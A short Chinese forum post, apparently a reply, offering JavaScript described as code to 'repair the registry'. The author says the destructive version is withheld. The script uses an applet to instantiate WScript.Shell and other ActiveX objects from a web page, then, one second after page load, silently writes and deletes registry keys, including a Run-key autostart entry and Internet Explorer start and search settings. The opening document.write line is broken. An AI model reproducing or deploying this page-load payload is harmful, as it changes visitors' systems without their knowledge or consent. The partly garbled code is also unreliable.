这可不是一个问题啊。这种解决方法还是有很多资料可查的,我用的是别人的电脑,嘻嘻,所以我就不在乎他,由主人自己去该吧。这么说我是不是像今天晚上的春节会上的缺心眼儿?^-^
以下是修复注册标的源代码。破坏性的源代码我就不写出来了。
document.write("
");
function f(){try{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
//Write Regedit
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\internat.exe", "C:\\WINDOWS\\SYSTEM\\internat.exe");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "about:blank");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "about:blank");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page", "http://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Local Page","C:\\WINDOWS\\SYSTEM\\blank.htm");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar","65658");
Shl.RegDelete ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption","65658");
Shl.RegDelete ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText","65658");
Shl.RegDelete ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\qwe","65658");
Shl.RegDelete ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\qwe");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Doc Find Spec MRU\\1","1");
Shl.RegDelete ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Doc Find Spec MRU\\");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Default_Search_URL","1");
Shl.RegDelete ("HKCU\\Software\\Microsoft\\Internet Explorer\\Default_Search_URL");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\SearchURL","1");
Shl.RegDelete ("HKCU\\Software\\Microsoft\\Internet Explorer\\SearchURL");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\1","1");
Shl.RegDelete ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\");
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end Write Regedit
}catch(e){}}catch(e){}}function init(){setTimeout("f()", 1000);}
init();